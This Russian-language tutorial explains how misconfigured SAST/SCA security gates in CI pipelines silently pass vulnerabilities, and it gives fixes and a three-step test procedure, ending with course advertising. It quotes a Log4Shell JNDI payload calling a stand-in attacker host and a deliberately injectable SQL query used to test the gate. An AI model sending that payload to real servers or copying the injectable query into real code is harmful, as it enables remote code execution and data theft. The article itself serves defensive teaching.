Security gate в SAST/SCA-пайплайне: ошибки конфигурации, которые превращают проверку в имитацию

В учебном репозитории pipeline две недели показывал зелёную галку на каждый merge request. За это время через gate прошли SQL-инъекция в контроллере авторизации и зависимость с CVE-2021-44228 — Log4Shell, удалённое выполнение кода в Apache Log4j2, CVSS 10.0, активно эксплуатируется по данным каталога CISA KEV (это список уязвимостей, которые УЖЕ используют в реальных атаках — если CVE попала туда, вопрос не «если», а «когда»). Сканеры запускались, отчёты генерировались, артефакты сохранялись. Проблема пряталась в трёх строчках YAML: allow_failure: true, отсутствие проверки на существование отчёта и порог severity, пропускающий HIGH-находки. Дальше — разбор каждой из этих ошибок и ещё трёх, которые я встречаю почти в каждом первом пайплайне.
Что делает security gate в DevSecOps-пайплайне
Security gate (его же называют quality gate в контексте безопасности) — контрольная точка в CI/CD-пайплайне. CI/CD — это конвейер непрерывной интеграции и доставки кода: разработчик пушит коммит, запускается цепочка автоматических проверок, и если всё ок — код едет в продакшен. Gate решает: пропустить код дальше или заблокировать слияние. Стоит он после сканеров двух типов:
SAST (Static Application Security Testing) — статический анализ кода, который написал разработчик. Ищет SQL-инъекции, XSS, небезопасную криптографию. Из инструментов: Semgrep, CodeQL, SonarQube.
SCA (Software Composition Analysis) — анализ сторонних зависимостей. Те самые библиотеки из npm, PyPI, Maven, которые тянутся в проект. SCA проверяет их на известные уязвимости. Инструменты: Trivy, OWASP Dependency-Check, Snyk.
Схема работы: сканер формирует JSON-отчёт → gate читает отчёт и считает находки по severity (уровню критичности) → если количество critical или high превышает порог, pipeline завершается с ненулевым exit-кодом → merge request блокируется.
По данным OWASP DevSecOps Guideline, gate, который ничего не блокирует, бесполезен: «a finding that never blocks anything rarely gets fixed». Сканер в пайплайне без работающей блокировки — имитация проверки, а не безопасность. Дальше — шесть ошибок конфигурации, которые к этой имитации приводят. Каждая подтверждена практикой настройки пайплайнов на GitLab CI и GitHub Actions.
allow_failure: true — режим информирования без срока годности
В GitLab CI у задания (job) есть параметр allow_failure. Когда он стоит в true, задание может упасть, но pipeline продолжит работу и покажет статус «passed with warnings» — оранжевый значок вместо красного. Merge request не блокируется. В GitHub Actions ту же роль играет continue-on-error: true.
Задумка разумная. При первом внедрении SAST/SCA обычно вылезают десятки старых уязвимостей — технический долг. Если сразу врубить блокировку, pipeline будет красным у всех команд, и инициативу свернут. OWASP DevSecOps Guideline описывает трёхфазный подход: фаза 1 — warn only (1–2 недели), фаза 2 — блокировка critical (3–4 неделя), фаза 3 — блокировка critical и high (с 5-й недели).
А дальше происходит одно и то же. allow_failure: true ставится на первой неделе и остаётся навсегда. Никто не возвращается убирать его после калибровки. Сканер находит критическую уязвимость, job честно падает — а pipeline проходит. Gate существует только визуально.
Как обнаружить. Откройте .gitlab-ci.yml (или .github/workflows/*.yaml) и поищите allow_failure: true у заданий с SAST/SCA. Если параметр стоит дольше двух спринтов после внедрения — это уже не информирование, это привычка.
Как исправить. Уберите allow_failure: true. Если старый долг мешает — используйте baseline-подход: зафиксируйте текущие находки и блокируйте только новые. В Semgrep это делается через переменную SEMGREP_BASELINE_REF, которая ограничивает проверку diff’ом относительно базовой ветки. Gate блокирует то, что разработчик добавляет прямо сейчас, а не наследие трёхлетней давности.
Fail-open: нет отчёта сканера — значит проверка пройдена
Эта ошибка опаснее первой. Gate проверяет содержимое отчёта (считает количество critical-находок через jq), но не проверяет, существует ли сам файл. Если сканер не запустился — упал по таймауту, не нашёл Docker-образ, словил ошибку конфигурации — файл отчёта не создаётся. Скрипт gate пропускает блок проверки и завершается с кодом 0 (успех). Pipeline зелёный, уязвимости не проверены.
Это fail-open: при сбое система считает, что всё в порядке. Противоположный подход — fail-closed: при любой аномалии (отсутствие отчёта, нечитаемый формат, таймаут) gate блокирует pipeline. По OWASP DevSecOps Guideline, fail-closed — обязательное свойство security gate: «a missing report means the scanner did not run» → exit 1.
Вот как выглядит сломанный gate и его исправление:
# Сломанный gate: fail-open
security-gate:
script:
- COUNT=$(jq '[.vulnerabilities[]
| select(.severity=="Critical")] | length' report.json)
- if [ "$COUNT" -gt 0 ]; then exit 1; fi
Если report.json не существует, jq вернёт ошибку, но скрипт может продолжить выполнение и завершиться с кодом 0. Исправленная версия — одна строка:
# Исправленный gate: fail-closed
security-gate:
script:
- if [ ! -f report.json ]; then
echo "Отчёт не создан — сканер не отработал"; exit 1; fi
- COUNT=$(jq '[.vulnerabilities[]
| select(.severity=="Critical")] | length' report.json)
- if [ "$COUNT" -gt 0 ]; then echo "Critical: $COUNT"; exit 1; fi
Проверка существования файла перед разбором — разница между gate, который защищает, и gate, который создаёт ложное чувство безопасности.
Пороги уязвимостей в пайплайне: «только Critical» пропускает реальный риск
Типичная стартовая конфигурация: блокировать только Critical, пропускать High и ниже. Не хочется останавливать разработку из-за каждого предупреждения — логика понятна.
Но не все опасные уязвимости получают метку Critical. Уязвимость в зависимости с CVSS 7.5 (HIGH) может иметь EPSS 0.9 и выше. EPSS — Exploit Prediction Scoring System — показывает вероятность эксплуатации уязвимости в ближайшие 30 дней. Значение 0.9 означает: эксплойт почти наверняка применят в дикой среде. Gate с порогом «только Critical» такую уязвимость пропустит.
OWASP DevSecOps Guideline рекомендует раздельную политику для каждого типа сканера, зафиксированную в едином конфигурационном файле (.security-gates.yaml): для SAST — блокировка critical и high; для SCA — то же плюс проверка лицензий (запрет GPL-3.0, AGPL-3.0 в коммерческих проектах); для секретов — блокировка любой находки (fail_on_any: true). Политику хранят в репозитории, чтобы изменения были видны через diff в merge request.
Обратный антипаттерн: порог «ноль находок любого уровня» выглядит строго, но ведёт к массовому подавлению (suppression) находок. Команда добавляет исключения не потому, что они ложные, а чтобы pipeline «позеленел». Ложные срабатывания SAST и SCA — реальная проблема, но принцип такой: каждое подавление должно быть обосновано, согласовано и иметь срок действия. OWASP описывает это как «exception as code» — файл .security-exceptions.yaml с указанием причины, владельца и даты обязательного пересмотра. Без такого процесса подавление превращается в способ обхода gate изнутри команды.
Интеграция SCA в CI/CD без lock-файлов: транзитивные зависимости в слепой зоне
SCA-сканер анализирует зависимости по файлам-манифестам: package.json (Node.js), requirements.txt (Python), pom.xml (Java). Манифест описывает прямые зависимости — то, что разработчик добавил руками. А вот транзитивные зависимости (библиотеки, которые тянут за собой прямые) фиксируются в lock-файлах: package-lock.json, poetry.lock, Pipfile.lock.
Без lock-файла SCA видит неполную картину. Вернёмся к CVE-2021-44228 (Log4Shell) — уязвимость в Apache Log4j2 версий 2.0-beta9 до 2.15.0. CVSS 10.0 (вектор: AV:N — атака по сети, AC:L — низкая сложность, PR:N — без привилегий, UI:N — без действий пользователя, S:C — атака распространяется за пределы уязвимого компонента). EPSS — 1.0, то есть максимум: 100-й перцентиль среди всех CVE в базе. Уязвимость в каталоге CISA KEV, активно используется в ransomware-атаках.
Зачем атакующему это нужно: одна строка в HTTP-заголовке (например, ${jndi:ldap://attacker.com/a}) заставляет сервер загрузить и выполнить произвольный код. Без аутентификации, без взаимодействия с пользователем. Монетизация — от крипто-майнеров до шифровальщиков.
Log4j часто оказывается транзитивной зависимостью — разработчик не добавлял её, её подтянул фреймворк. Без lock-файла SCA эту цепочку не увидит.
В терминах MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1190 — идентификаторы техник в этой базе) это T1195.001 — Compromise Software Dependencies and Development Tools (тактика: Initial Access). Атакующий не ломает ваш код — он использует уязвимость в зависимости, которую никто не проверял.
Как исправить. Убедитесь, что lock-файлы коммитятся в репозиторий. Если проект их не хранит, генерируйте на этапе build и передавайте как артефакт в этап сканирования. Для Node.js: npm ci устанавливает зависимости строго по lock-файлу. Для Python: pip freeze > requirements-frozen.txt фиксирует точные версии всех пакетов, включая транзитивные.
Настройка SAST в CI/CD: scope сканирования и актуальность баз
Инкрементальное сканирование (только diff между ветками) экономит время: 30 секунд вместо 15 минут. Но SAST работает с потоками данных — taint tracking: отслеживает путь пользовательского ввода через код. Если в merge request изменён файл A, а уязвимый поток начинается в файле B (который не менялся), инкрементальный сканер его не увидит.
Рекомендация из OWASP и документации GitLab: инкрементальный анализ — для merge request, чтобы разработчик получил быструю обратную связь. Полный анализ — по расписанию на основной ветке: ночной или еженедельный scheduled pipeline. Находки из полного сканирования должны попадать в трекер задач, а не растворяться в логах ночного билда. По умолчанию GitLab SAST выполняется только в пайплайнах веток — для проверок в merge request правила запуска нужно настроить явно через workflow:rules.
Связанная проблема: устаревшие базы уязвимостей сканера. Trivy, Semgrep и OWASP Dependency-Check используют внешние базы CVE. В офлайн-окружениях (закрытые контуры — частая история в российских enterprise-инфраструктурах и госсекторе) базу обновляют при установке и забывают. Если дата последнего обновления БД сканера старше 7 дней, результатам нельзя доверять. Добавьте в pipeline проверку актуальности — большинство сканеров умеют выводить дату обновления в лог или отчёт.
Проверяем security gate на практике: делай раз, делай два, делай три
Единственный способ убедиться, что gate работает — попробовать его сломать. Три шага на учебном репозитории.
Что понадобится: GitLab CI или GitHub Actions с настроенным runner’ом (подойдёт shared runner на gitlab.com), сканеры Semgrep и Trivy (оба бесплатные, open-source), учебный репозиторий с кодом на Python, JavaScript или Java.
Делай раз: заложите уязвимый код. Создайте ветку и добавьте файл с SQL-инъекцией — cursor.execute("SELECT * FROM users WHERE id = " + user_input). Создайте merge request в основную ветку. Ожидание: SAST находит инъекцию, severity — ERROR (high/critical в терминологии Semgrep), gate блокирует merge. Pipeline красный, в логе задания security-gate строка «Critical: 1» или аналогичная. Если pipeline зелёный — проверяйте: стоит ли allow_failure: true, совпадает ли severity находки с порогом блокировки, есть ли проверка на существование отчёта.
Делай два: добавьте уязвимую зависимость. Пропишите в package.json старую версию библиотеки с известной CVE. Выполните npm install, закоммитьте package-lock.json вместе с манифестом. Ожидание: SCA находит CVE, gate блокирует. В логе — строки с идентификатором CVE и severity. Если pipeline проходит — проверяйте: коммитится ли lock-файл, сканирует ли SCA именно lock-файл, а не только манифест.
Делай три: сломайте сканер намеренно. Укажите несуществующий тег Docker-образа сканера в конфигурации pipeline. Ожидание: задание сканера падает, отчёт не создаётся, gate видит отсутствие отчёта и блокирует pipeline (fail-closed). В логе gate строка «Отчёт не создан — сканер не отработал». Если pipeline зелёный — gate fail-open, и это самая опасная ошибка из всех описанных.
| Проверка | Ожидаемый результат | Если pipeline зелёный |
|---|---|---|
| Уязвимый код (SQL injection) | SAST блокирует MR | Проверить allow_failure, severity threshold |
| Уязвимая зависимость (CVE в lock-файле) | SCA блокирует MR | Проверить наличие lock-файла, scope сканера |
| Отсутствующий образ сканера | Gate блокирует (fail-closed) | Gate fail-open — исправить немедленно |
Три проверки покрывают три вектора обхода: пропуск находки в коде, пропуск уязвимой зависимости, сбой инфраструктуры сканирования. В терминах MITRE ATT&CK непреднамеренное отключение gate эквивалентно T1562.001 — Disable or Modify Tools (тактика: Defense Evasion): средство защиты существует, но не функционирует.
Из шести ошибок конфигурации самая частая — allow_failure: true, а самая опасная — fail-open. Ошибка с lock-файлами — специфика SCA, но именно она пропускает зависимости вроде Log4j, которые ломают не код, а инфраструктуру целиком. Пороги severity и scope сканирования — вопрос зрелости: их настраивают итеративно, но начинать нужно с осознанного значения, а не с дефолта.
За два года я собрал больше тридцати пайплайнов с SAST и SCA для разных команд. В каждом втором случае gate к моменту аудита уже был «зелёным театром» — сканеры работали, отчёты копились, блокировок не случалось ни разу за несколько месяцев. Причина одна: настроили и забыли. Security gate — не инструмент, который ставится один раз. Это конфигурация, которая требует ревью каждый спринт: пороги, исключения, baseline, актуальность баз. Pipeline as code — удобная концепция, но «code» подразумевает review, тестирование и поддержку. Конфигурация безопасности заслуживает ровно такого же отношения. Если только начинаете разбираться в DevSecOps и хотите пройти базу системно — на codeby.school курс IB Basics закрывает фундамент за пару месяцев, без воды.
Эту тему и смежные навыки разбирают на практике в курсе «Профессия DevSecOps-инженер» Codeby Academy.
